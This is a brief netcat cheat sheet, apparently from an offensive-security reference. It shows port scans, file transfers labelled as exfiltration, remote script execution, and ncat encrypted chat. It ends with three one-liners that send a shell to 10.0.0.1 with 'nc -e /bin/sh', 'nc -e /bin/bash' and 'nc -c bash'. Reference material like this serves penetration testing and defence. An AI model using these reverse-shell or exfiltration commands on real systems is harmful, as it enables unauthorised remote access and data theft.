Netcat#
Netcat reads and writes data across networks. The operator chains it for port scans, file transfer, remote shells, banner grabbing, and encrypted pivots.
Port scan#
$ nc -nvz <IP> <PORT|RANGE>
$ nc -nvz 192.168.1.23 80
$ nc -nvz 192.168.1.23 0-1000
Send file#
# Client
$ nc -lvp <LPORT> > example_sent.txt
# Server
$ nc -w3 <CLIENT_IP> <PORT> < example.txt
Receive file#
# Server
$ nc -lvp <LPORT> < example.txt
# Client
$ nc -w3 <SERVER_IP> <PORT> > example_exfil.txt
Execute remote script#
# Server
$ nc -lvp <LPORT> -e ping.sh <IP>
# Client
$ nc -nv <SERVER_IP> <PORT>
Encrypted chat with ncat#
# Server
$ ncat -nlvp <LPORT> --ssl
# Client
$ ncat -nv <SERVER_IP> <PORT>
Shells, reverse shells#
$ nc -e /bin/sh 10.0.0.1 <LPORT>
$ nc -e /bin/bash 10.0.0.1 <LPORT>
$ nc -c bash 10.0.0.1 <LPORT>
References#
man 1 nc